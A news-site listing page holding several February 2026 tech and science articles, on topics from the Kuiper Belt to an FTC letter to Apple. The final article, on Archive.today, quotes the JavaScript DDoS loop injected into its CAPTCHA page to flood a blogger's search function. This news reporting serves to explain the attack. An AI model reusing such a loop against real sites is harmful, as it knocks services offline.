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Astronomers are filling in the blanks of the Kuiper Belt

astronomy, Kuiper belt, Pluto, Science, syndication, trans-Neptunian objects / 9u50fv / February 14, 2026

Are you out there, Planet X?

Next-generation telescopes are mapping this outer frontier.

Credit: NASA/SOFIA/Lynette Cook

Out beyond the orbit of Neptune lies an expansive ring of ancient relics, dynamical enigmas, and possibly a hidden planet—or two.

The Kuiper Belt, a region of frozen debris about 30 to 50 times farther from the sun than the Earth is—and perhaps farther, though nobody knows—has been shrouded in mystery since it first came into view in the 1990s.

Over the past 30 years, astronomers have cataloged about 4,000 Kuiper Belt objects (KBOs), including a smattering of dwarf worlds, icy comets, and leftover planet parts. But that number is expected to increase tenfold in the coming years as observations from more advanced telescopes pour in. In particular, the Vera C. Rubin Observatory in Chile will illuminate this murky region with its flagship project, the Legacy Survey of Space and Time (LSST), which began operating last year. Other next-generation observatories, such as the James Webb Space Telescope (JWST), will also help to bring the belt into focus.

“Beyond Neptune, we have a census of what’s out there in the solar system, but it’s a patchwork of surveys, and it leaves a lot of room for things that might be there that have been missed,” says Renu Malhotra, who serves as Louise Foucar Marshall Science Research Professor and Regents Professor of Planetary Sciences at the University of Arizona.

“I think that’s the big thing that Rubin is going to do—fill out the gaps in our knowledge of the contents of the solar system,” she adds. “It’s going to greatly advance our census and our knowledge of the contents of the solar system.”

As a consequence, astronomers are preparing for a flood of discoveries from this new frontier, which could shed light on a host of outstanding questions. Are there new planets hidden in the belt, or lurking beyond it? How far does this region extend? And are there traces of cataclysmic past encounters between worlds—both homegrown or from interstellar space—imprinted in this largely pristine collection of objects from the deep past?

“I think this will become a very hot field very soon, because of LSST,” says Amir Siraj, a graduate student at Princeton University who studies the Kuiper Belt.

The Kuiper Belt is a graveyard of planetary odds and ends that were scattered far from the sun during the messy birth of the solar system some 4.6 billion years ago. Pluto was the first KBO ever spotted, more than a half-century before the belt itself was discovered.

Since the 1990s, astronomers have found a handful of other dwarf planets in the belt, such as Eris and Sedna, along with thousands of smaller objects. While the Kuiper Belt is not completely static, it is, for the most part, an intact time capsule of the early solar system that can be mined for clues about planet formation.

For example, the belt contains weird structures that may be signatures of past encounters between giant planets, including one particular cluster of objects, known as a “kernel,” located at about 44 astronomical units (AU), where one AU is the distance between Earth and the sun (about 93 million miles).

While the origin of this kernel is still unexplained, one popular hypothesis is that its constituent objects—which are known as cold classicals—were pulled along by Neptune’s outward migration through the solar system more than 4 billion years ago, which may have been a bumpy ride.

The idea is that “Neptune got jiggled by the rest of the gas giants and did a bit of a jump; it’s called the ‘jumping Neptune’ scenario,” says Wes Fraser, an astronomer at the Dominion Astrophysical Observatory, National Research Council of Canada, who studies the Kuiper Belt, noting that astronomer David Nesvorný came up with the idea.

“Imagine a snowplow driving along a highway, and lifting up the plow. It leaves a clump of snow behind,” he adds. “That same sort of idea is what left the clump of cold classicals behind. That is the kernel.”

In other words, Neptune tugged these objects along with it as it migrated outward, but then broke its gravitational hold over them when it “jumped,” leaving them to settle into the Kuiper Belt in the distinctive Neptune-sculpted kernel pattern that remains intact to this day.

Last year, Siraj and his advisers at Princeton set out to look for other hidden structures in the Kuiper Belt with a new algorithm that analyzed 1,650 KBOs—about 10 times as many objects as the 2011 study, led by Jean-Robert Petit, that first identified the kernel.

The results consistently confirmed the presence of the original kernel, while also revealing a possibly new “inner kernel” located at about 43 AU, though more research is needed to confirm this finding, according to the team’s 2025 study.

“You have these two clumps, basically, at 43 and 44 AU,” Siraj explains. “It’s unclear whether they’re part of the same structure,” but “either way, it’s another clue about, perhaps, Neptune’s migration, or some other process that formed these clumps.”

As Rubin and other telescopes discover thousands more KBOs in the coming years, the nature and possible origin of these mysterious structures in the belt may become clearer, potentially opening new windows into the tumultuous origins of our solar system.

In addition to reconstructing the early lives of the known planets, astronomers who study the Kuiper Belt are racing to spot unknown planets. The most famous example is the hypothetical giant world known as Planet Nine or Planet X, first proposed in 2016. Some scientists have suggested that the gravitational influence of this planet, if it exists, might explain strangely clustered orbits within the Kuiper Belt, though this speculative world would be located well beyond the belt, at several hundred AU.

Siraj and his colleagues have also speculated about the possibility of a Mercury- or Mars-sized world, dubbed Planet Y, that may be closer to the belt, at around 80 to 200 AU, according to their 2025 study. Rubin is capable of spotting these hypothetical worlds, though it may be challenging to anticipate the properties of planets that lurk this far from the sun.

“We know nothing about the atmospheres and surfaces of gas giant or ice giant type planets at 200, 300, or 400 AU,” Fraser says. “We know nothing about their chemistry. Every single time we look at an exoplanet, it behaves differently than what our models predict.”

“I think Planet Nine might very well just be a tar ball that is so dark that we can’t see it, and that’s why it hasn’t been discovered yet,” he adds. “If we found that, I wouldn’t be too surprised. And who knows what an Earth [in the belt] would look like? Certainly the compositional makeup will be different than a Mars, or an Earth, or a Venus, in the inner solar system.”

Observatories like Rubin and JWST may fill in these tantalizing gaps in our knowledge of the Kuiper Belt, and perhaps pinpoint hidden planets. But even if these telescopes reveal an absence of planets, it would be a breakthrough.

“There’s a lot of room for discovery of large bodies,” says Malhotra. “That would be awesome, but if we don’t find any, that would tell us something as well.”

“Not finding them up to some distance would give us estimates of how efficient or inefficient the planet formation process was,” she adds. “It would fill in some of the uncertainties that we have in our models.”

One other major open question about the Kuiper Belt is the extent of its boundaries. The belt suddenly tapers off at about 50 AU, an edge called the Kuiper cliff. This is a puzzling feature, because it suggests that our solar system has an anomalously small debris belt compared with other systems.

“The solar system looks kind of weird,” Fraser says. “The Kuiper cliff is a somewhat sharp delineation. Beyond that, we have no evidence that there was a disk of material. And yet, if you look at other stellar systems that have debris disks, the vast majority of those are significantly larger.”

“If we were to find a debris disk at, say, 100 AU, that would immediately make the solar system not weird, and quite average at that point,” he notes.

In 2024, Fraser and his colleagues presented hints of a possible undiscovered population of objects that may exist at about 100 AU—though he emphasizes that these are candidate detections, and are not yet confirmed to be a hidden outer ring.

However, even Rubin may not be able to resolve the presence of the tiny and distant objects that could represent a new outer limit of the Kuiper Belt. Time will tell.

As astronomers gear up for this major step change in our understanding of the Kuiper Belt, answers to some of our most fundamental questions hang in the balance. With its immaculate record of the early solar system, this region preserves secrets from the deep past. Here there are probably not dragons, but there may well be hidden planets, otherworldly structures, and discoveries that haven’t yet been imagined.

“I’d say the big question is, what’s out there?” Malhotra says. “What are we missing?”

This story originally appeared on wired.com.

Wired.com is your essential daily guide to what’s next, delivering the most original and complete take you’ll find anywhere on innovation’s impact on technology, science, business and culture.

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WHO slams US-funded newborn vaccine trial as “unethical”

anti-vaccine, CDC, health, hepatitis B, Robert F Kenned Jr., WHO / 9u50fv / February 14, 2026

“Exploiting scarcity is not ethical,” the WHO wrote in its statement today.

Dangerous trial

The United Nations health agency highlighted that the hepatitis B vaccine birth dose is “an effective, and essential public health intervention” that has “been used for over three decades, with more than 115 countries including it in their national schedules. “

“It prevents life‑threatening liver disease by stopping mother‑to‑child transmission at birth,” the WHO wrote, noting that more than 12 percent of adults in Guinea-Bissau have chronic hepatitis B.

In a section subtitled “Why withholding the vaccine is unethical,” the WHO lays out all the reasons the trial is dangerous.

“From what is publicly described, the [trial] protocol does not appear to ensure even a minimum level of harm reduction and benefit to the study participants (e.g., screening pregnant women and vaccinating newborns exposed to hepatitis B),” the WHO wrote.

As a proven lifesaving vaccine, withholding it from some study participants would expose newborns to serious and potentially irreversible harm, including chronic infection, cirrhosis, and liver cancer, the WHO argues. There is no scientific justification for withholding a proven intervention, and there is no credible evidence of the safety concerns that Benn and her colleagues claim to be looking for in their trial. The WHO also noted that the publicly available information about the trial indicates that it will be a single-blind, no-treatment-controlled design, which “raises a significant likelihood of substantial risk of bias, limiting interpretability of the study results and their policy relevance.”

As of now, the trial appears to be suspended. Nature News reported that in a January 22 press conference, health officials in Guinea-Bissau said that a technical and ethical review was pending. “There has been no sufficient coordination in order to take a final decision regarding the study,” Quinhin Nantote, the minister of public health for Guinea-Bissau, said. “Faced with this situation, we decided to suspend it.”

Previously, the Africa Centres for Disease Control and Prevention suggested that the trial would not go forward. However, the US Department of Health and Human Services provided a statement saying that it was “proceeding as planned.”

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Santa Monica deploys AI-powered parking cameras to protect bike lanes

AI, bike lanes, cameras, Hayden AI, Policy / 9u50fv / February 13, 2026

This spring, a Southern California beach town will become the first city in the country where municipal parking enforcement vehicles will use an AI system looking for potential bike lane violations.

Beginning in April, the City of Santa Monica will bring Hayden AI’s scanning technology to seven cars in its parking enforcement fleet, expanding beyond similar cameras already mounted on city buses.

“The more we can reduce the amount of illegal parking, the safer we can make it for bike riders,” Charley Territo, chief growth officer at Hayden AI, told Ars.

Hayden AI’s bus cameras, designed to detect bike lane and bus zone violations, currently exist in two other California cities: Oakland and Sacramento. The company also has installations around the country, including New York City, Washington, DC, and Philadelphia. In September 2025, the company announced that it had installed 2,000 systems on buses worldwide.

Late last year, over a 59-day period, Hayden AI also said its technology detected over 1,100 parking violations at the University of California, San Diego—and 88 percent of those were instances of blocking a bike lane.

Hayden AI says it sells its product to municipalities and related entities to not only increase bus speed (by removing obstructions) but also improve safety.

“We do that by [reducing] one of the biggest causes of collisions with buses—moving out of their lanes,” Territo added. “So the fewer times they have to make a turn, the fewer instances there are [of a crash].”

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$1.8 million MST3K Kickstarter brings in (almost) everyone from the old show

culture, MST3K, Mystery Science Theater 3000 / 9u50fv / February 13, 2026

MST3K‘s 2010s revival looked forward; this one is emphatically looking backward.

“I have to admit, the man looks good standing next to puppets.” – Joel Hodgson on Mike Nelson in 1993 Credit: MST3K/RiffTrax

Longtime fans of the cult TV show Mystery Science Theater 3000 know that the series’ one constant is change (well, that and bad movies).

The show’s cast and crew were in a near-constant state of flux, a byproduct of the show’s existence as a perennial bubble show produced in the Twin Cities rather than a TV-and-comedy hub like New York or LA. It was rare, especially toward the middle of its 10-season original run on national TV, for the performers in front of the camera (and the writers’ room, since they were all the same people) to stay the same for more than a season or two.

Series creator Joel Hodgson embraced that spirit of change for the show’s Kickstarter-funded, Netflix-aired revival in the mid-2010s, featuring a brand-new cast and mostly new writers. And that change only accelerated in the show’s brief post-Netflix “Gizmoplex” era, which featured a revolving cast of performers that could change from episode to episode. Hodgson leaned into the idea that as long as there were silhouettes and puppets talking in front of a bad movie, it didn’t matter much who was doing the talking.

But the other thing longtime fans know about the original show is that many of its casting changes were extremely controversial, causing long-running old-school flame wars in the Usenet group that served as the fandom’s online hub back in the day. In retrospect, the original show’s quality and the hit rate of its jokes remained remarkably consistent from season 3 or 4 onward, but people watching it could be incredibly proprietary about their preferred performers and which of the show’s three or four major epochs they considered the best. Some blamed a combination of crowdfunding fatigue and frustration with the revived show’s constant changes for the failure of its third crowdfunding campaign in 2023.

The revived version of MST3K wasn’t a failure, exactly. I liked a lot of it. My loss of interest was partly because of me and my lack of energy and time—if you were doing the isolation phase of the COVID-19 pandemic with young children, you were doing it in hard mode—but it was also partly because I didn’t have the same connection with the new cast and because the new show was either unable to or uninterested in forming the old show’s reliable comfort-viewing grooves.

Doing it old-school

Back for one more spin. Credit: MST3K/RiffTrax

That’s a whole lot of throat-clearing, and I have thoroughly buried my lede: MST3K is coming back—again. It’s on Kickstarter, again (it’s currently at $1.82 million pledged, against a humble $20,000 goal).

This time, though, the revival is intentionally casting its gaze backward: It’s a co-production with Mike Nelson’s RiffTrax, and he and many of the show’s original writers and performers are returning to their old roles for a limited four-episode engagement. These are all scheduled for release by the end of 2026. (Full disclosure: I am one of the Kickstarter’s 15,000-ish backers.)

It took me a minute to catch myself back up on the current state of the Mystery Science Theater IP. The original revival was possible because Hodgson bought the rights to the show in 2015 from Jim Mallon, who, for many years, was the only person with an actual ownership stake in the show or the company that produced it.

In January of this year, Hodgson officially sold those rights to Radial Entertainment, taking emeritus status as a “brand ambassador and consultant” but no longer serving as the show’s main creative force. This Rifftrax collaboration will be the new owners’ first project.

That’s exciting to me! See, “my” era of the show, the one I have the fondest feelings and the rosiest-colored glasses for, was its three-year run on what was then called the Sci-Fi Channel.

I had originally encountered MST3K during the Joel era, when it was airing on Comedy Central, but most of it went over my head—I liked the goofy puppets and low-rent effects, but during the theater segments, I was mainly watching my dad watch the show so I would know when to laugh.

But my dad eventually stopped watching, and a couple of years later, when I was old enough to want to seek it out for myself, the Sci-Fi version was what I found. Tom Servo (Kevin Murphy) was the same as I remembered, and I had seen episodes hosted by Mike Nelson (Mike Nelson) despite my dad’s clear preference for Joel. But there was a new Crow (Bill Corbett, replacing Trace Beaulieu), new mad scientists (Mary Jo Pehl, plus Murphy and Corbett again), a new Satellite of Love set, and a slightly more acidic sense of humor that meshed well with my teenage sensibilities.

I caught back up with MST3K just as its 10th and final season was airing. And episodes like Time Chasers, Werewolf, Overdrawn at the Memory Bank, and Merlin’s Shop of Mystical Wonders became familiar old friends to me, episodes I returned to over and over again even as I gradually expanded my library of old episodes via the tape-trading sites that were still active in the late ’90s into the early 2000s (it’s impossible to this day to own the complete run of the show without turning to bootlegs).

Many of the people involved in the Sci-Fi era of the show had lent their talents to the revival version in one way or another, either in cameo roles or as writers on individual episodes. But there was never a sense that Hodgson or anyone else was interested in doing a “get-the-band-back-together” version of the old show. The RiffTrax version is emphatically a “get-the-band-back-together” moment.

And as much as I hope for the best when long-running franchises try to move in new directions—I am enjoying the Starfleet Academy show much more than I expected to—it did do something to me to hear familiar voices coming out of those puppets again.

The project keeps rolling up former cast and crew members like a spaghetti ball katamari, including not just the core Nelson/Murphy/Corbett trio but Beaulieu and Frank Conniff (most familiar to viewers as Dr. Clayton Forrester and TV’s Frank), Pehl, and several familiar behind-the-camera names. Many of them will be directly creatively involved in the new production, which will feature a return to the original series’s handmade models and sets and charmingly low-rent practical effects (the Netflix revival relied heavily on green screens even during live-action segments, giving it an overly sterile look and feel).

Listen. I know that Mike Nelson can never truly go back into the theater; he is not the same Mike, and it is not the same theater. But in our current time of monsters, I find my heart thoroughly warmed by the idea of these people getting to work on this thing again.

These folks, especially Nelson and Murphy, were the soul of the old show but saw little financial benefit from years of DVD sales and streaming deals, since they never owned any of it. Reading between the lines (and through layers of Minnesota Nice), one got the sense that there were enduring hard feelings about this that made the RiffTrax contingent hold the new version of the show at arm’s length.

But it’s clear from the videos and photos that everyone involved in this new-old version of the show is having a blast, and the original MST3K was always at its best when the performers’ enthusiasm for the material and the obvious joy they took in working together shone through. It’s impossible for me to be impartial. But I think I’m going to have a good time.

Andrew is a Senior Technology Reporter at Ars Technica, with a focus on consumer tech including computer hardware and in-depth reviews of operating systems like Windows and macOS. Andrew lives in Philadelphia and co-hosts a weekly book podcast called Overdue.

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EPA kills foundation of greenhouse gas regulations

carbon emissions, climate change, EPA, Policy, Supreme Court / 9u50fv / February 12, 2026

In a widely expected move, the Environmental Protection Agency has announced that it is revoking an analysis of greenhouse gases that laid the foundation for regulating their emissions by cars, power plants, and industrial sources. The analysis, called an endangerment finding, was initially ordered by the US Supreme Court in 2007 and completed during the Obama administration; it has, in theory, served as the basis of all government regulations of carbon dioxide emissions since.

In practice, lawsuits and policy changes between Democratic and Republican administrations have meant it has had little impact. In fact, the first Trump administration left the endangerment finding in place, deciding it was easier to respond to it with weak regulations than it was to challenge its scientific foundations, given the strength of the evidence for human-driven climate change.

Legal tactics

The second Trump administration, however, was prepared to tackle the science head-on, gathering a group of contrarians to write a report questioning that evidence. It did not go well, either scientifically or legally.

Today’s announcement ignores the scientific foundations of the endangerment finding and argues that it’s legally flawed. “The Trump EPA’s final rule dismantles the tactics and legal fictions used by the Obama and Biden Administrations to backdoor their ideological agendas on the American people,” the EPA claims. The claim is awkward, given that the “legal fictions” referenced include a Supreme Court decision ordering the EPA to conduct an endangerment analysis.

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Trump FTC wants Apple News to promote more Fox News and Breitbart stories

andrew ferguson, Apple, Apple News, ftc, Policy, Trump / 9u50fv / February 12, 2026

Tim Apple gets a stern letter

FTC claims Apple News suppresses conservatives, cites study by pro-Trump group.

Credit: Getty Images | Anadolu

Federal Trade Commission Chairman Andrew Ferguson has accused Apple of violating US law by suppressing conservative-leaning news outlets on Apple News.

Ferguson pointed to research by a pro-Trump group that accused Apple News of suppressing articles by Fox News, the New York Post, Daily Mail, Breitbart, and The Gateway Pundit. The FTC chair claims that Apple News might be violating promises made to consumers in its terms of service, but his letter doesn’t cite any specific provisions from the Apple terms that might have been violated.

“Recently, there have been reports that Apple News has systematically promoted news articles from left-wing news outlets and suppressed news articles from more conservative publications,” Ferguson wrote in the letter to Apple CEO Tim Cook yesterday. He said the “reports raise serious questions about whether Apple News is acting in accordance with its terms of service and its representations to consumers, as well as the reasonable consumer expectations of the tens of millions of Americans who use Apple News.”

Craig Aaron, president and co-CEO of media advocacy group Free Press, told Ars that Ferguson’s “letter would be laughable if it weren’t so dangerous. This is what government censorship looks like. Ferguson’s claims of course aren’t based on any facts or evidence, just innuendo from discredited partisan operatives who think The Wall Street Journal is too woke. Just imagine if another administration had told Drudge or Fox News what stories they should feature on their apps or home pages.”

Ferguson told Cook, “As an American citizen, I abhor and condemn any attempt to censor content for ideological reasons. Such efforts, whether taken to appease overzealous activists, at the behest of foreign governments, or simply to advance the political views of Silicon Valley elites, stifle the free exchange of ideas, manipulate the public discourse, and are inconsistent with American values.”

We contacted Apple about Ferguson’s letter and will update this article if it provides a response. Aaron said that “Apple must respond and condemn this government intrusion. Capitulating to or appeasing government censors will never work. If these companies are as committed to free expression as they claim to be, it’s time to take a stand.”

“FTC is not the speech police”

Ferguson’s letter stated that the “FTC is not the speech police; we do not have authority to require Apple or any other firm to take affirmative positions on any political issue, nor to curate news offerings consistent with one ideology or another.” But he pointed out that the FTC has power to ensure that companies do not violate promises made to consumers.

“Congress has mandated that we protect consumers from material misrepresentations and omissions, including when the product or service offered to consumers is a speech-related product,” he wrote.

Ferguson suggested that Apple News promoting liberal publications might violate the service’s terms of use, but the Apple News terms themselves mostly impose obligations on users and include nothing about avoiding partisan bias in news selection. The terms say Apple News content is presented “as-is,” and that the only recourse for someone who doesn’t like the service is to stop using it.

Whether Ferguson or anyone at the FTC carefully reviewed the Apple News terms is not clear from the letter; Ferguson says that Apple must conduct such a review. Ferguson seems to acknowledge that there would be no legal violation if Apple hasn’t made any promises to consumers about the political leanings of news sources highlighted by Apple news. Ferguson wrote:

As the Chairman of the FTC, I write to inform you of your obligations under the FTC Act. Any act or practice by Apple News to suppress or promote news articles based on the perceived ideological or political viewpoint of the article or publication, if inconsistent with Apple’s terms of service or the reasonable expectations of consumers, may violate the FTC Act. I encourage you to conduct a comprehensive review of Apple’s terms of service and ensure that Apple News’ curation of articles is consistent with those terms and representations made to consumers and, if it is not, to take corrective action swiftly.

Ferguson’s letter links to the Apple News terms. He notes that they “address a wide range of topics” related to “the content of the site, a consumer’s use of the site, prohibited conduct, privacy and data security, and dispute resolution.” But he didn’t go into any more detail.

Apple terms: “Your sole remedy…. is to stop using the site”

What do the Apple News terms say? Along with prohibiting scraping, hacking, and other conduct, the terms make it clear that users shouldn’t expect to see any particular types of content on the site or app.

“Apple does not promise that the site or any content, service or feature of the site will be error-free or uninterrupted, or that any defects will be corrected, or that your use of the site will provide specific results,” the terms say. “The site and its content are delivered on an ‘as-is’ and ‘as-available’ basis… your sole remedy against Apple for dissatisfaction with the site or any content is to stop using the site or any such content. This limitation of relief is a part of the bargain between the parties.”

The terms say that Apple News may display third-party materials and links to third-party websites, and that users must “acknowledge and agree that Apple is not responsible for examining or evaluating the content, accuracy, completeness, timeliness, validity, copyright compliance, legality, decency, quality, or any other aspect of such Third Party Materials or web sites. Apple, its officers, affiliates, and subsidiaries do not warrant or endorse and do not assume and will not have any liability or responsibility to you or any other person for any Third Party Materials or Linked Sites, or for any other materials, products, or services of third parties. Third Party Materials and links to other web sites are provided solely as a convenience to you.”

Despite Apple’s terms making no promises about the quality of third-party content in Apple News, both Ferguson and Federal Communications Commission Chairman Brendan Carr seem to think the FTC allegations against Apple are convincing. “Today I sent a letter to Tim Cook expressing my concerns about allegations that Apple News has, unbeknownst to its users, systematically promoted news articles from left-wing news outlets and suppressed content from conservative publications,” Ferguson wrote in an X post yesterday.

Carr, who has repeatedly amplified Trump’s complaints about media and threatened to revoke broadcast station licenses, wrote yesterday that “FTC Chairman Ferguson is exactly right. 🎯 Apple has no right to suppress conservative viewpoints in violation of the FTC Act.”

FTC cites bias claim from pro-Trump group

While Ferguson’s letter lacks a specific claim that Apple violated its own terms of service, there’s still Ferguson’s vague warning that bias in news aggregation may violate the FTC Act if it “is contrary to consumers’ reasonable expectations such that failure to disclose the ideological favoritism is a material omission.”

He also wrote that tech companies “suppress[ing] or promot[ing] news articles in their news aggregators or feeds based on the perceived ideological or political viewpoint of the article or publication may violate the FTC Act… when those practices cause substantial injury that is neither reasonably avoidable nor outweighed by countervailing benefits to consumers or competition.”

Ferguson said that “multiple studies have found that in recent months Apple News has chosen not to feature a single article from an American conservative-leaning news source, while simultaneously promoting hundreds of articles from liberal publications.” Both studies referred to in the letter come from the Media Research Center founded by L. Brent Bozell III, who is now US ambassador to South Africa following a nomination by President Trump.

The Media Research Center argues that “President Donald Trump and the United States appear to stand alone in the fight to preserve free expression.” Under Trump, the group says, “much is being done to correct course and loosen the Biden-era censorship cartel’s stranglehold on American liberty.”

The Media Research Center says its mission “is to document and combat the falsehoods and censorship of the news media, entertainment media and Big Tech in order to defend and preserve America’s founding principles and Judeo-Christian values.” The group’s most recent report on Apple News faults the service for highlighting articles by “leftist outlets,” which it identifies as The Washington Post, Associated Press, NBC News, The Guardian, The New York Times, Apple itself, NPR, Politico, USA Today, and Bloomberg News.

Group says Apple News needs more Breitbart

The group said its study focused on the top 20 articles in the Apple News morning edition on each day of January. It said that all of the 620 highlighted articles were from “left-leaning and other outlets.” The Media Research Center counted The Wall Street Journal as a “center outlet,” lumping it into the same broad category it applied to outlets it describes as leftist.

“Rather than promoting news stories from notable right-leaning media sources such as Fox News, the New York Post, Daily Mail, Breitbart or The Gateway Pundit, Apple News has relentlessly pushed articles from elitist media outlets that amplify the left’s narrative, like: The Washington Post, The Associated Press and NBC News as well as center outlets like The Wall Street Journal and Reuters,” the group said. The Gateway Pundit is known for publishing election-related misinformation and has been beset by defamation lawsuits.

Ferguson’s FTC has also investigated NewsGuard, a company that rates news sources on reliability. NewsGuard sued the FTC last week in an attempt to stop the probe, which it said “was instigated in large part by Newsmax.” NewsGuard said in its lawsuit that the court should also invalidate a merger condition imposed on the Omnicom/Interpublic Group deal that effectively “prohibits Omnicom and its ad agencies and affiliates from using NewsGuard’s services.”

“The FTC has pursued its campaign because Chairman Ferguson does not like NewsGuard’s news ratings, which he views as biased against conservative publications,” the NewsGuard lawsuit said. “That is wrong—NewsGuard’s ratings and journalism about news sources are non-partisan and based on fully disclosed journalistic criteria. But the FTC’s actions are plainly unconstitutional even if that were not the case. The First Amendment does not allow the government to pick and choose speech based on what it likes or dislikes.”

Jon is a Senior IT Reporter for Ars Technica. He covers the telecom industry, Federal Communications Commission rulemakings, broadband consumer affairs, court cases, and government regulation of the tech industry.

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Google recovers “deleted” Nest video in high-profile abduction case

Google, Nest, privacy, Tech / 9u50fv / February 11, 2026

Suspect attempts to cover the camera with a plant.

In statements made by investigators, the video was apparently “recovered from residual data located in backend systems.” It’s unclear how long such data is retained or how easy it is for Google to access it. Some reports claim that it took several days for Google to recover the data.

In large-scale enterprise storage solutions, “deleted” for the user doesn’t always mean that the data is gone. Data that is no longer needed is often compressed and overwritten only as needed. In the meantime, it may be possible to recover the data. That’s something a company like Google could decide to do on its own, or it could be compelled to perform the recovery by a court order. In the Guthrie case, it sounds like Google was voluntarily cooperating with the investigation, which makes sense. Publishing video of the alleged perpetrator could be a major breakthrough as investigators seek help from the public.

It’s not your cloud

There is a temptation to ascribe some malicious intent to Google’s video storage setup. After all, this video expired after three hours, but here it is nine days later. That feels a bit suspicious on the surface, particularly for a company that is so focused on training AI models that feed on video.

We have previously asked Google to explain how it uses Nest to train AI models, and the company claims it does not incorporate user videos into training data, but the way you interact with the service and with your videos is fair game. “We may use your inputs, including prompts and feedback, usage, and outputs from interactions with AI features to further research, tune, and train Google’s generative models, machine learning technologies, and related products and services,” Google said.

Google recovers “deleted” Nest video in high-profile abduction case Read More »

Archive.today CAPTCHA page executes DDoS; Wikipedia considers banning site

archive.is, archive.today, Policy, wikipedia / 9u50fv / February 10, 2026

DDoS hit blog that tried to uncover Archive.today founder’s identity in 2023.

Credit: Getty Images | Riccardo Milani

Wikipedia editors are discussing whether to blacklist Archive.today because the archive site was used to direct a distributed denial of service (DDoS) attack against a blogger who wrote a post in 2023 about the mysterious website’s anonymous maintainer.

In a request for comment page, Wikipedia’s volunteer editors were presented with three options. Option A is to remove or hide all Archive.today links and add the site to the spam blacklist. Option B is to deprecate Archive.today, discouraging future link additions while keeping the existing archived links. Option C is to do nothing and maintain the status quo.

Option A in particular would be a huge change, as more than 695,000 links to Archive.today are used across 400,000 or so Wikipedia pages. Archive.today, also known as Archive.is, is a website that saves snapshots of webpages and is commonly used to bypass news paywalls.

“Archive.today uses advanced scraping methods, and is generally considered more reliable than the Internet Archive,” the Wikipedia request for comment said. “Due to concerns about botnets, linkspamming, and how the site is run, the community decided to blacklist it in 2013. In 2016, the decision was overturned, and archive.today was removed from the spam blacklist.”

Discussion among editors has been ongoing since February 7. “Wikipedia’s need for verifiable citations is absolutely not more important than the security of users,” one editor in favor of blacklisting wrote. “We need verifiable citations so that we can maintain readers’ trust, however, in order to be trustworthy our references also have to be safe to access.”

Archive would be hard to replace

On the other side, an editor who supported Option C wrote that “Archive.today contains a vast amount of archives available nowhere else. Not on Wayback Machine, nowhere. It is the second largest archive provider across all Wikimedia sites. Removal/blockage of this site will be disruptive daily for thousands of editors and readers. It will result in a huge proliferation of dead link tags that will never be resolved.”

Several posts mentioned an ongoing FBI case that could eventually make the Archive.today links useless anyway. Some said it would be better to act now than to have Option A forced on them later without a backup plan.

One editor supported starting with Option B and eventually shifting to Option A with “the proper end goal being the WMF [Wikimedia Foundation] supporting some sort of archive system, whether their own original or directly supporting the Internet Archive’s work so it can be done more systematically.”

Some discussion centered on copyright infringement, given that Archive.today publishes copies of many copyrighted articles. “On the general problem of linking to copyright infringement: perhaps the Wikimedia Foundation can work on ways to establish legally licensed archives of major paywalled sites, in partnership with archives such as the Internet Archive,” one editor wrote. “It would be challenging given the business model of those sites, but maybe a workable compromise can be established that manages how many Wikipedia editors [have] access at a given time.”

Malicious code in CAPTCHA page

The DDoS attack being discussed by Wikipedia editors was targeted at the Gyrovague blog written by Jani Patokallio. Last month, “the maintainers of Archive.today injected malicious code in order to perform a distributed denial of service attack against a person they were in dispute with,” the Wikipedia request for comment says. “Every time a user encounters the CAPTCHA page, their Internet connection is used to attack a certain individual’s blog.”

The trustworthiness of Archive.today was discussed in light of evidence that the site’s founder threatened to create “a new category of AI porn” in retaliation against the blogger. The AI porn threat was mentioned by several editors.

“I echo others [that Option] A is looking like something we’ll have to do eventually, anyways, and at least this way we have a chance to do it on our terms,” one editor wrote. “I hate to break it to you, but even if the FBI thing goes nowhere, a website whose operator apparently threatens to create AI porn in retaliation against enemies, using their names, isn’t a trustworthy mirror, and isn’t going to remain one.”

One editor reported being “miserable” about supporting Option A, “but we cannot permit websites to rope our readers into being part of DDoS attacks.” Moreover, “The fact is that most of the archive.today links on Wikipedia are not an attempt to save URLs that have now gone dead that the Internet Archive cannot handle, but efforts to bypass paywalls, which is convenient, but illegal. It’s strange that we accept links to archive.today for this purpose but don’t accept the same for Anna’s Archive or Sci-Hub,” the editor wrote.

Patokallio told us in an email today, “it’s true that there simply are no alternatives to archive.today for many sources that archive.org does not/cannot cover,” and that he hopes the Wikipedia request for comment “leads to the Wikimedia Foundation creating one as suggested by multiple commenters in the thread.”

We emailed the Archive.today’s webmaster address today about the Wikipedia discussion and will update this article if we get a response.

The Wikimedia Foundation, the nonprofit that hosts Wikipedia, chimed in on the discussion today. “Our view is that the value to verifiability that the site provides must be weighed against the security risks and violation of the trust of the people who click these links,” wrote Eric Mill, head of the foundation’s product safety and integrity group. “We (WMF) encourage the English Wikipedia community to carefully weigh the situation before making a decision on this unusual case.”

Noting that “Archive.today’s owner has not been deterred from continuing the ongoing DDoS,” Mill wrote that “the same actions that make archive.today unsafe may also reduce its usefulness for verifying content on Wikipedia. If the owners are willing to abuse their position to further their goals through malicious code, then it also raises questions about the integrity of the archive it hosts.”

It’s possible the Wikimedia Foundation will act even if the volunteer editors decide to maintain the status quo. “We know that WMF intervention is a big deal, but we also have not ruled it out, given the seriousness of the security concern for people who click the links that appear across many wikis,” Mill wrote.

Blogger tried to uncover founder’s identity

The Wikipedia request for comments acknowledged that whether to blacklist would be a difficult decision. There are “significant concerns for readers’ safety, as well as the long-term stability and integrity of the service,” but “a significant amount of people also think that mass-removing links to Archive.today may harm verifiability, and that the service is harder to censor than certain other archiving sites,” it said.

An update to the request for comments yesterday indicated that the attack temporarily stopped, but the malicious code had been reactivated. “Please do not visit the archive without blocking network requests to gyrovague.com to avoid being part of the attack!” it said.

The code’s first public mention was apparently in a Hacker News thread on January 14, and Patokallio wrote about the DDoS in a February 1 blog post. “Every 300 milliseconds, as long as the CAPTCHA page is open, this makes a request to the search function of my blog using a random string, ensuring the response cannot be cached and thus consumes resources,” he wrote. The Javascript code in the Archive.today CAPTCHA page is as follows:

        setInterval(function()               fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() 8),                   referrerPolicy: "no-referrer",                  mode: "no-cors"              );          , 300);

In August 2023, Patokallio wrote a post attempting to uncover the identity of Archive.today founder “Denis Petrov,” which seems to be an alias. Patokallio wasn’t able to figure out who the founder is but cobbled together various tidbits from Internet searches, including a Stack Exchange post that mentioned another potential alias, “Masha Rabinovich.”

